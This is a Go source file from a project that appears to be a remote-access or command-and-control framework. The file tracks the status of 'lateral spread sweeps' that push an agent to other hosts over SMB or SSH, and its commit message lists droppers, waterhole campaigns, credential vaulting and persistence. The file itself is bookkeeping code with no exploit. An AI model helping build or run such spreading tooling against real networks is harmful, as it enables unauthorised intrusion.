Files
AetherForge/agent/deploy/spread_status.go
AetherForge 1551bd5dad feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
2026-06-04 21:53:31 -07:00

109 lines
2.5 KiB
Go

package deploy
import (
"encoding/json"
"runtime"
"sync"
"time"
)
type spreadHostResult struct {
Host string `json:"host"`
Success bool `json:"success"`
Error string `json:"error,omitempty"`
}
type spreadStatusSnapshot struct {
StartedAt string `json:"started_at,omitempty"`
FinishedAt string `json:"finished_at,omitempty"`
InProgress bool `json:"in_progress"`
HostsTried int `json:"hosts_tried"`
Successes int `json:"successes"`
Errors int `json:"errors"`
Platform string `json:"platform"`
Method string `json:"method"`
Hosts []spreadHostResult `json:"hosts"`
}
var (
spreadMu sync.RWMutex
spreadSnap spreadStatusSnapshot
spreadPending int
)
const maxSpreadHostResults = 64
func spreadMethodForPlatform() string {
if runtime.GOOS == "windows" {
return "smb_scm"
}
return "ssh"
}
func beginSpreadSweep(method string, targetCount int) {
spreadMu.Lock()
spreadSnap = spreadStatusSnapshot{
StartedAt: time.Now().UTC().Format(time.RFC3339),
InProgress: targetCount > 0,
HostsTried: targetCount,
Platform: runtime.GOOS,
Method: method,
Hosts: nil,
}
spreadPending = targetCount
if targetCount == 0 {
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
spreadMu.Unlock()
}
func recordSpreadAttempt(host string, success bool, errMsg string) {
spreadMu.Lock()
defer spreadMu.Unlock()
if success {
spreadSnap.Successes++
} else if errMsg != "" {
spreadSnap.Errors++
}
if len(spreadSnap.Hosts) < maxSpreadHostResults {
spreadSnap.Hosts = append(spreadSnap.Hosts, spreadHostResult{
Host: host,
Success: success,
Error: errMsg,
})
}
if spreadPending > 0 {
spreadPending--
if spreadPending == 0 {
spreadSnap.InProgress = false
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
}
}
func finishSpreadSweepImmediate() {
spreadMu.Lock()
spreadSnap.InProgress = false
if spreadSnap.FinishedAt == "" {
spreadSnap.FinishedAt = time.Now().UTC().Format(time.RFC3339)
}
spreadPending = 0
spreadMu.Unlock()
}
// GetSpreadStatusJSON returns the last lateral spread sweep summary (in-memory).
func GetSpreadStatusJSON() string {
spreadMu.RLock()
snap := spreadSnap
spreadMu.RUnlock()
if snap.StartedAt == "" {
snap.Platform = runtime.GOOS
snap.Method = spreadMethodForPlatform()
if snap.Hosts == nil {
snap.Hosts = []spreadHostResult{}
}
}
b, _ := json.Marshal(snap)
return string(b)
}